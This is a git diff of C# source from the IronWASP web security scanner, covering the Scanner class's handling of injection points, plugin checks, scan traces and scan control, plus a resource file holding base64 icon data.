this.BodyInjections = new InjectionParameters(); + this.BodyXmlInjections = new List(); + this.CookieInjections = new InjectionParameters(); + this.HeadersInjections = new InjectionParameters(); + } + void CheckWithActivePlugin(string PluginName) + { + Exception E = null; + ActivePlugin AP = ActivePlugin.Get(PluginName); + this.ActivePluginName = AP.Name; + if (!SessionHandler.CanInject(this, this.CurrentRequest)) + { + return; + } + try + { + this.StartTrace(); + this.SetTraceTitle("-", 0); + AP.Check(this); + } + catch (ThreadAbortException) + { } + catch (Exception Exp) + { + E = Exp; + IronException.Report(string.Format("'{0}' check for Scan ID-{1} crashed with an exception", PluginName, this.ScanID.ToString()), Exp); + } + try + { + this.LogTrace(); + } + catch (Exception Exp) + { + IronException.Report("Error Logging Scan Trace", Exp); + } + if (E != null) throw E; + } + internal void ReloadRequestFromString(string RequestString) + { + this.OriginalRequest = new Request(RequestString, false, true); + this.OriginalRequest.ScanID = this.ScanID; + } + internal void ReloadRequestFromHeaderString(string RequestHeaderString) + { + Request NewRequest = new Request(RequestHeaderString, this.OriginalRequest.SSL, true); + this.OriginalRequest.ScanID = this.ScanID; + byte[] OldBody = new byte[this.OriginalRequest.BodyArray.Length]; + this.OriginalRequest.BodyArray.CopyTo(OldBody, 0); + NewRequest.BodyArray = OldBody; + this.OriginalRequest = NewRequest; + } + internal static void ResetChangedStatus() + { + RequestHeadersChanged = false; + RequestBodyChanged = false; + } + + internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin Plugin, List CheckStatus, bool CheckAll) + { + BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, CheckStatus, CheckAll); + RequestFormatThread = new Thread(Scanner.DeSerializeRequestBody); + RequestFormatThread.Start(BFP); + } + + internal static void DeSerializeRequestBody(object BFPObject) + { + string PluginName = ""; + try + { + BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + Request Request = BFP.Request; + FormatPlugin Plugin = BFP.Plugin; + Scanner.CurrentScanner.BodyFormat = Plugin; + Scanner.CurrentScanner.DeserializeRequestBodyWithFormatPlugin(); + string XML = Scanner.CurrentScanner.InjectionArrayXML; + string[,] InjectionArray = Scanner.CurrentScanner.XmlInjectionArray; + + PluginName = Plugin.Name; + + List CheckStatus = BFP.CheckStatus; + bool CheckAll = BFP.CheckAll; + + //string XML = Plugin.ToXmlFromRequest(Request); + //string[,] InjectionArray = FormatPlugin.XmlToArray(XML); + //Scanner.CurrentScanner.BodyFormat = Plugin; + IronUI.FillConfigureScanFormatDetails(XML, InjectionArray, CheckStatus, CheckAll, PluginName); + } + catch (ThreadAbortException) + { + // + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error Parsing Body in Selected Format. Format Plugin - {0}", PluginName), Exp.Message, Exp.StackTrace); + IronUI.ShowConfigureScanException("Error Parsing Body in Selected Format"); + Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + IronUI.UpdateScanBodyTabWithXmlArray(); + } + } + + internal static void LoadScannerFromDDAndFillAutomatedScanningTab(object ScanJobIdObj) + { + int ScanJobId = (int)ScanJobIdObj; + Scanner ScannerFromDb = null; + try + { + ScannerFromDb = IronDB.GetScannerFromDB(ScanJobId); + } + catch (Exception Exp) + { + IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); + IronUI.ShowConfigureScanException("Unable to load Request"); + return; + } + SetScannerFromDBToUiAfterProcessing(ScannerFromDb); + } + internal static void SetScannerFromDBToUiAfterProcessing(Scanner ScannerFromDb) + { + ScannerFromDb.OriginalRequest.Source = RequestSource.Scan; + string[,] XmlInjectionPoints = new string[,] { }; + string XML = ""; + //try + //{ + // if (ScannerFromDb.Status.Equals("Not Started")) + // { + // if (ScannerFromDb.BodyFormat.Name.Length == 0 && ScannerFromDb.CustomInjectionPointStartMarker.Length == 0 && ScannerFromDb.CustomInjectionPointEndMarker.Length == 0 && !FormatPlugin.IsNormal(ScannerFromDb.OriginalRequest)) + // { + // List RightList = FormatPlugin.Get(ScannerFromDb.OriginalRequest); + // if (RightList.Count > 0) + // { + // ScannerFromDb.BodyFormat = RightList[0]; + // XML = ScannerFromDb.BodyFormat.ToXmlFromRequest(ScannerFromDb.OriginalRequest); + // XmlInjectionPoints = FormatPlugin.XmlToArray(XML); + // } + // } + // } + //} + //catch (Exception Exp) { IronException.Report("Error guessing Request body type", Exp); } + Scanner.CurrentScanner = ScannerFromDb; + Scanner.CurrentScanID = ScannerFromDb.ID; + + IronUI.SetAutomatedScanningScanner(ScannerFromDb, XML, XmlInjectionPoints); + } + + internal static void TerminateAllFormatThreads() + { + if (RequestFormatThread != null) + { + try { RequestFormatThread.Abort(); } + catch { } + finally { RequestFormatThread = null; } + } + } + + internal string GetScanPluginsString() + { + StringBuilder ScanPluginsBuilder = new StringBuilder(); + foreach (string ScanPlugin in this.Plugins.Keys) + { + ScanPluginsBuilder.Append(ScanPlugin); + ScanPluginsBuilder.Append(","); + } + string SelectedScanPlugins = ScanPluginsBuilder.ToString().TrimEnd(new char[] { ',' }); + return SelectedScanPlugins; + } + + #region CreateInjectionString + //Old format (till v0.9.1.5) + //public string GetInjectionString() + //{ + // StringBuilder Url = new StringBuilder("Url:"); Url.Append(GetStringFromInjectionList(URLInjections)); + // StringBuilder Query = new StringBuilder("Query:"); Query.Append(GetStringFromInjectionParameters(QueryInjections)); + // StringBuilder Body = new StringBuilder("Body:"); + // if (this.BodyFormat.Name.Length > 0) + // { + // Body.Append(GetStringFromInjectionParameters(BodyXmlInjectionParameters, BodyXmlInjections)); + // } + // else + // { + // Body.Append(GetStringFromInjectionParameters(BodyInjections)); + // } + // StringBuilder Cookie = new StringBuilder("Cookie:"); Cookie.Append(GetStringFromInjectionParameters(CookieInjections)); + // StringBuilder Headers = new StringBuilder("Headers:"); Headers.Append(GetStringFromInjectionParameters(HeadersInjections)); + // StringBuilder FullInjectionString = new StringBuilder(); + // FullInjectionString.AppendLine(Url.ToString()); + // FullInjectionString.AppendLine(Query.ToString()); + // FullInjectionString.AppendLine(Body.ToString()); + // FullInjectionString.AppendLine(Cookie.ToString()); + // FullInjectionString.AppendLine(Headers.ToString()); + // return FullInjectionString.ToString(); + //} + + public string GetInjectionString() + { + StringBuilder Url = new StringBuilder("Url|"); Url.Append(GetStringFromInjectionList(URLInjections)); + StringBuilder Query = new StringBuilder("Query|"); Query.Append(GetStringFromInjectionParameters(QueryInjections)); + StringBuilder Body = new StringBuilder("Body|"); + if (CustomInjectionPointStartMarker.Length > 0 && CustomInjectionPointEndMarker.Length > 0) + { + Body.Append("CustomMarker|"); + Body.Append(GetStringFromInjectionMarker(CustomInjectionPointStartMarker, CustomInjectionPointEndMarker)); + } + else if (this.BodyFormat.Name.Length > 0) + { + Body.Append("FormatPlugin|"); + Body.Append(GetStringFromInjectionParameters(BodyXmlInjectionParameters, BodyXmlInjections)); + } + else + { + Body.Append("Normal|"); + Body.Append(GetStringFromInjectionParameters(BodyInjections)); + } + StringBuilder Cookie = new StringBuilder("Cookie|"); Cookie.Append(GetStringFromInjectionParameters(CookieInjections)); + StringBuilder Headers = new StringBuilder("Headers|"); Headers.Append(GetStringFromInjectionParameters(HeadersInjections)); + StringBuilder Names = new StringBuilder("Names|"); Names.Append(GetStringFromInjectionParameters(ParameterNameInjections)); + StringBuilder FullInjectionString = new StringBuilder(); + FullInjectionString.AppendLine(Url.ToString()); + FullInjectionString.AppendLine(Query.ToString()); + FullInjectionString.AppendLine(Body.ToString()); + FullInjectionString.AppendLine(Cookie.ToString()); + FullInjectionString.AppendLine(Headers.ToString()); + FullInjectionString.AppendLine(Names.ToString()); + return FullInjectionString.ToString(); + } + + static string GetStringFromInjectionList(List InjectionList) + { + StringBuilder InjectionListString = new StringBuilder(); + foreach (int i in InjectionList) + { + InjectionListString.Append(i.ToString()); + InjectionListString.Append(","); + } + string ILS = InjectionListString.ToString(); + if (ILS.Length > 0) ILS = ILS.TrimEnd(new char[] { ',' }); + return ILS; + } + + static string GetStringFromInjectionParameters(InjectionParameters InjectionParameters) + { + StringBuilder IS = new StringBuilder(); + foreach (string Name in InjectionParameters.GetAll()) + { + //IS.Append(Name); IS.Append("="); - old format + IS.Append(Tools.Base64Encode(Name)); IS.Append("-"); + foreach (int i in InjectionParameters.GetAll(Name)) + { + IS.Append(i.ToString()); IS.Append(","); + } + IS.Append(";"); + } + return IS.ToString(); + } + + static string GetStringFromInjectionParameters(Parameters InjectionParameters, List InjectionList) + { + StringBuilder IS = new StringBuilder(); + int i = 0; + foreach (string Name in InjectionParameters.GetNames()) + { + IS.Append(Convert.ToBase64String(Encoding.UTF8.GetBytes(Name))); IS.Append(":"); IS.Append(Convert.ToBase64String(Encoding.UTF8.GetBytes(InjectionParameters.Get(Name)))); + IS.Append("-"); + if (InjectionList.Contains(i)) + { + IS.Append("1"); + } + else + { + IS.Append("0"); + } + IS.Append(";"); + i++; + } + return IS.ToString(); + } + + //New format + static string GetStringFromInjectionMarker(string StartMarker, string EndMarker) + { + StringBuilder IS = new StringBuilder(); + IS.Append(Tools.Base64Encode(StartMarker)); + IS.Append(":"); + IS.Append(Tools.Base64Encode(EndMarker)); + return IS.ToString(); + } + #endregion + + #region ReadInjectionString + internal void AbsorbInjectionString(string InjectionString) + { + if (InjectionString.StartsWith("Url:")) + AbsorbOldFormatInjectionString(InjectionString); + else + AbsorbNewFormatInjectionString(InjectionString); + } + + internal void AbsorbNewFormatInjectionString(string InjectionString) + { + string[] InjectionStringsArray = InjectionString.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + if (InjectionStringsArray.Length != 6) + { + throw new Exception("Invalid Injection String"); + } + this.URLInjections = GetListFromInjectionString(InjectionStringsArray[0].Substring(4));//Remove 'Url|' + this.QueryInjections = GetParametersFromInjectionString(InjectionStringsArray[1].Substring(6));//Remove 'Query|' + string BodyInjectionStringPart = InjectionStringsArray[2].Substring(5); + if (BodyInjectionStringPart.StartsWith("CustomMarker|"))//Remove 'Body|' + { + string[] CustomMarkers = GetCustomMarkersFromInjectionString(BodyInjectionStringPart.Substring(13));//Remove 'CustomMarker|' + this.CustomInjectionPointStartMarker = CustomMarkers[0]; + this.CustomInjectionPointEndMarker = CustomMarkers[1]; + } + else if (BodyInjectionStringPart.StartsWith("FormatPlugin|")) + { + this.AbsorbFormatBodyParametersFromInjectionString(BodyInjectionStringPart.Substring(13));//Remove 'FormatPlugin|' + } + else + { + this.BodyInjections = GetParametersFromInjectionString(BodyInjectionStringPart.Substring(7));//Remove 'Normal|' + } + + this.CookieInjections = GetParametersFromInjectionString(InjectionStringsArray[3].Substring(7));//Remove 'Cookie|' + this.HeadersInjections = GetParametersFromInjectionString(InjectionStringsArray[4].Substring(8));//Remove 'Headers|' + this.ParameterNameInjections = GetParametersFromInjectionString(InjectionStringsArray[5].Substring(6));//Remove 'Names|' + } + + internal void AbsorbOldFormatInjectionString(string InjectionString) + { + string[] InjectionStringsArray = InjectionString.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + if (InjectionStringsArray.Length != 5) + { + throw new Exception("Invalid Injection String"); + } + this.URLInjections = GetListFromInjectionString(InjectionStringsArray[0].Substring(4));//Remove 'Url:' + this.QueryInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[1].Substring(6));//Remove 'Query:' + if (this.BodyFormat.Name.Length == 0) + { + this.BodyInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[2].Substring(5));//Remove 'Body:' + } + else + { + this.AbsorbFormatBodyParametersFromInjectionString(InjectionStringsArray[2].Substring(5));//Remove 'Body:' + } + this.CookieInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[3].Substring(7));//Remove 'Cookie:' + this.HeadersInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[4].Substring(8));//Remove 'Headers:' + } + + + + static List GetListFromInjectionString(string InjectionString) + { + List InjectionList = new List(); + string[] StrList = InjectionString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + foreach (string s in StrList) + { + try + { + InjectionList.Add(Int32.Parse(s)); + } + catch + { + throw new Exception("Invalid character in InjectionString"); + } + } + return InjectionList; + } + + static InjectionParameters GetParametersFromInjectionString(string InjectionString) + { + InjectionParameters InjectionParameters = new InjectionParameters(); + string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Parameter in Parameters) + { + string[] ParameterParts = Parameter.Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries); + if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); + string[] SubParameterPositions = ParameterParts[1].Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + foreach (string SubParameterPosition in SubParameterPositions) + { + try + { + InjectionParameters.Add(Tools.Base64Decode(ParameterParts[0]), Int32.Parse(SubParameterPosition)); + } + catch + { + throw new Exception("Invalid Injection String"); + } + } + } + return InjectionParameters; + } + + static InjectionParameters GetParametersFromOldFormatInjectionString(string InjectionString) + { + InjectionParameters InjectionParameters = new InjectionParameters(); + string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Parameter in Parameters) + { + string[] ParameterParts = Parameter.Split(new string[] { "=" }, StringSplitOptions.RemoveEmptyEntries); + if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); + string[] SubParameterPositions = ParameterParts[1].Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + foreach (string SubParameterPosition in SubParameterPositions) + { + try + { + InjectionParameters.Add(ParameterParts[0], Int32.Parse(SubParameterPosition)); + } + catch + { + throw new Exception("Invalid Injection String"); + } + } + } + return InjectionParameters; + } + + static string[] GetCustomMarkersFromInjectionString(string InjectionString) + { + string[] EncodedMarkers = InjectionString.Split(':'); + return new string[] { Tools.Base64Decode(EncodedMarkers[0]), Tools.Base64Decode(EncodedMarkers[1]) }; + } + + void AbsorbFormatBodyParametersFromInjectionString(string InjectionString) + { + InjectionParameters InjectionParameters = new InjectionParameters(); + string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + this.BodyXmlInjectionParameters = new Parameters(); + this.BodyXmlInjections.Clear(); + int i = 0; + foreach (string Parameter in Parameters) + { + string[] ParameterParts = Parameter.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries); + if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); + string[] SecondParameterParts = ParameterParts[1].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries); + if (SecondParameterParts.Length < 1 || SecondParameterParts.Length > 2) throw new Exception("Invalid Injection String"); + try + { + string Value = ""; + if (SecondParameterParts.Length == 2) Value = SecondParameterParts[0]; + string InjectionState = ""; + if (SecondParameterParts.Length == 2) + InjectionState = SecondParameterParts[1]; + else + InjectionState = SecondParameterParts[0]; + this.BodyXmlInjectionParameters.Add(Encoding.UTF8.GetString(Convert.FromBase64String(ParameterParts[0])), Encoding.UTF8.GetString(Convert.FromBase64String(Value))); + if (InjectionState.Equals("1")) this.BodyXmlInjections.Add(i); + } + catch + { + throw new Exception("Invalid Injection String"); + } + i++; + } + } + #endregion + + #region ScanTrace + public void StartTrace() + { + TraceMsg = new StringBuilder(); + TraceMsgXml = XmlWriter.Create(TraceMsg); + TraceMsgXml.WriteStartDocument(); + TraceMsgXml.WriteStartElement("trace"); + TraceOverviewEntries = new List(); + CurrentTraceRequestLogId = 0; + RequestTraceMsg = ""; + TraceTitle = ""; + TraceTitleWeight = 0; + this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, OriginalResponse.ID.ToString(), OriginalResponse.Code.ToString(), OriginalResponse.BodyLength.ToString(), OriginalResponse.ContentType, OriginalResponse.RoundTrip.ToString(), Tools.MD5(OriginalResponse.ToString()) }); + } + public void RequestTrace(string Message) + { + if (this.RequestTraceMsg.Length > 0) + { + IronException.Report(string.Format("Invalid Trace Commands in {0} Plugin", this.CurrentPlugin), string.Format("RequestTrace() command called after RequestTrace() command. RequestTrace() command must be followed by a ResponseTrace() command before calling any other commands.\r\nThe message being logged was:\r\n{0}", Tools.EncodeForTrace(Message))); + //TraceMsg.Append(">");//Probably the ResponseTrace matching the last RequestTrace was not called + } + this.RequestTraceMsg = Tools.EncodeForTrace(Message); + } + + public void ResponseTrace(string Message) + { + TraceMsgXml.WriteStartElement("type_b"); + + TraceMsgXml.WriteStartElement("log_id"); TraceMsgXml.WriteValue(this.CurrentTraceRequestLogId); TraceMsgXml.WriteEndElement(); + TraceMsgXml.WriteStartElement("req"); TraceMsgXml.WriteValue(RequestTraceMsg); TraceMsgXml.WriteEndElement(); + TraceMsgXml.WriteStartElement("res"); TraceMsgXml.WriteValue(Tools.EncodeForTrace(Message)); TraceMsgXml.WriteEndElement(); + + TraceMsgXml.WriteEndElement(); + + //if (RequestTraceMsg.Length == 0 && Message.Length > 0) + //{ + // TraceMsg.Append(">This request was not traced. You forgot to call the RequestTrace method in your code.> "); + //} + //TraceMsg.Append(Tools.EncodeForTrace(Message)); + + RequestTraceMsg = ""; + } + + public void Trace(string Message) + { + if (RequestTraceMsg.Length > 0) + { + IronException.Report(string.Format("Invalid Trace Commands in {0} Plugin", this.CurrentPlugin), string.Format("Trace() command called after RequestTrace() command. RequestTrace() command must be followed by a ResponseTrace() command before calling any other commands.\r\nThe message being logged was:\r\n{0}", Tools.EncodeForTrace(Message))); + } + + TraceMsgXml.WriteStartElement("type_a"); TraceMsgXml.WriteValue(Tools.EncodeForTrace(Message)); TraceMsgXml.WriteEndElement(); + //TraceMsg.Append(">"); + //TraceMsg.Append(Tools.EncodeForTrace(Message)); + } + + public void SetTraceTitle(string Title, int Weight) + { + if (Weight > TraceTitleWeight) + { + TraceTitle = Title; + TraceTitleWeight = Weight; + } + else if (Weight == TraceTitleWeight) + { + if (TraceTitle.Length == 0 || TraceTitle == "-") + { + TraceTitle = Title; + } + else + { + TraceTitle = string.Format("{0} | {1}", TraceTitle, Title); + } + } + } + + public void LogTrace() + { + this.LogTrace(TraceTitle); + } + + public void LogTrace(string Title) + { + try + { + this.TraceMsgXml.WriteEndElement(); + this.TraceMsgXml.WriteEndDocument(); + this.TraceMsgXml.Close(); + } + catch { } + IronTrace IT = new IronTrace(this.ScanID, CurrentPlugin, this.CurrentSection, this.CurrentParameterName, Title, TraceMsg.ToString(), this.TraceOverviewEntries); + IT.Report(); + this.TraceMsg = new StringBuilder(); + + this.RequestTraceMsg = ""; + this.TraceTitle = ""; + this.TraceTitleWeight = 0; + } + + public string GetTrace() + { + return TraceMsg.ToString(); + } + #endregion + + public static string GetStatus(int ScanID) + { + return IronDB.GetScanStatus(ScanID); + } + + public static List GetCompletedScanIDs() + { + List IDs = new List(); + lock (CompletedScanIDs) + { + IDs = new List(CompletedScanIDs.ToArray()); + CompletedScanIDs.Clear(); + } + return IDs; + } + + public static List GetAbortedScanIDs() + { + List IDs = new List(); + lock (AbortedScanIDs) + { + IDs = new List(AbortedScanIDs.ToArray()); + AbortedScanIDs.Clear(); + } + return IDs; + } + + internal static void StopAll() + { + NewScansAllowed = false; + List ToStop = new List(); + lock (Scanner.ScanQueue) + { + while (Scanner.ScanQueue.Count > 0) + { + Scanner Scan = Scanner.ScanQueue.Dequeue(); + ToStop.Add(Scan.ScanID); + } + } + List Running = new List(ActiveScanIDs); + + foreach (int ScanID in Running) + { + try + { Scanner.ScanThreads[ScanID].Abort(); } + catch { } + } + try + { + IronDB.UpdateScanStatus(ToStop, "Stopped"); + } + catch { } + if (IronUI.UI.CanShutdown) return;//If user has started shutdown of IronWASP then dont't update UI + try + { + IronUI.UpdateScanQueueStatuses(ToStop, "Stopped"); + } + catch + { } + NewScansAllowed = true; + } + + void AddActiveScanID(int ID) + { + lock (ActiveScanIDs) + { + ActiveScanIDs.Add(ID); + } + } + + void RemoveActiveScanID(int ID) + { + lock (ActiveScanIDs) + { + if (ActiveScanIDs.Contains(ID)) + ActiveScanIDs.Remove(ID); + } + } + + internal static void StartList(object ScanIDsToStartObject) + { + List ScanIDsToStart = (List)ScanIDsToStartObject; + foreach (int ID in ScanIDsToStart) + { + try + { + Scanner Scan = IronDB.GetScannerFromDB(ID); + Scan.StartScan(ID); + } + catch { } + } + } + + + + internal int GetCustomInjectionPointsCount() + { + int FullCount = SplitAtCustomInjectionPoints().Count; + if (Tools.IsEven(FullCount)) + return FullCount / 2; + else + return (FullCount - 1) / 2; + } + + string RemoveCustomInjectionPointMarkers(string BodyStr) + { + return BodyStr.Replace(this.CustomInjectionPointStartMarker, "").Replace(this.CustomInjectionPointEndMarker, ""); + } + + List SplitAtCustomInjectionPoints() + { + if (this.TestRequest != null) + { + this.BodyCustomInjectionParts = SplitAtCustomInjectionPoints(this.CurrentRequest.BodyString, this.CustomInjectionPointStartMarker, this.CustomInjectionPointEndMarker); + } + else + { + this.BodyCustomInjectionParts = SplitAtCustomInjectionPoints(this.OriginalRequest.BodyString, this.CustomInjectionPointStartMarker, this.CustomInjectionPointEndMarker); + } + return this.BodyCustomInjectionParts; + } + + string GetValueAtCustomInjectionPoint(int Position) + { + List Parts = SplitAtCustomInjectionPoints(); + if (Position > GetCustomInjectionPointsCount()) return ""; + int Index = ((Position + 1) * 2) - 1; + return Parts[Index]; + } + + string InjectAtCustomInjectionPoint(int Position, string Payload) + { + foreach (string[] Rule in this.CharacterEscapingRules) + { + try + { + Payload = Payload.Replace(Rule[0], Rule[1]); + } + catch { } + } + List Parts = new List(SplitAtCustomInjectionPoints()); + if (Position > GetCustomInjectionPointsCount()) return ""; + int Index = ((Position + 1) * 2) - 1; + Parts[Index] = Payload; + StringBuilder InjectedContent = new StringBuilder(); + foreach (string Part in Parts) + { + InjectedContent.Append(Part); + } + return InjectedContent.ToString(); + } + + public static List SplitAtCustomInjectionPoints(string Content, string StartMarker, string EndMarker) + { + if (StartMarker.Length == 0 || EndMarker.Length == 0) return new List(); + List Result = new List(); + bool CheckFurther = true; + int Pointer = 0; + while (CheckFurther && Content.Length > Pointer) + { + int Start = Content.IndexOf(StartMarker, Pointer); + int Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); + if (Start == -1 || Stop == -1) CheckFurther = false; + if (CheckFurther) + { + Result.Add(Content.Substring(Pointer, Start - Pointer)); + Result.Add(Content.Substring(Start + StartMarker.Length, Stop - (Start + StartMarker.Length))); + } + else + { + Result.Add(Content.Substring(Pointer)); + } + Pointer = Stop + EndMarker.Length; + } + return Result; + } + } +} diff --git a/IronWASP/ScreenshotForm.Designer.cs b/Iron/ScreenshotForm.Designer.cs similarity index 100% rename from IronWASP/ScreenshotForm.Designer.cs rename to Iron/ScreenshotForm.Designer.cs diff --git a/IronWASP/ScreenshotForm.cs b/Iron/ScreenshotForm.cs similarity index 100% rename from IronWASP/ScreenshotForm.cs rename to Iron/ScreenshotForm.cs diff --git a/Iron/ScreenshotForm.resx b/Iron/ScreenshotForm.resx new file mode 100644 index 0000000..4f05c89 --- /dev/null +++ b/Iron/ScreenshotForm.resx @@ -0,0 +1,1927 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 189, 17 + + + 35 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + 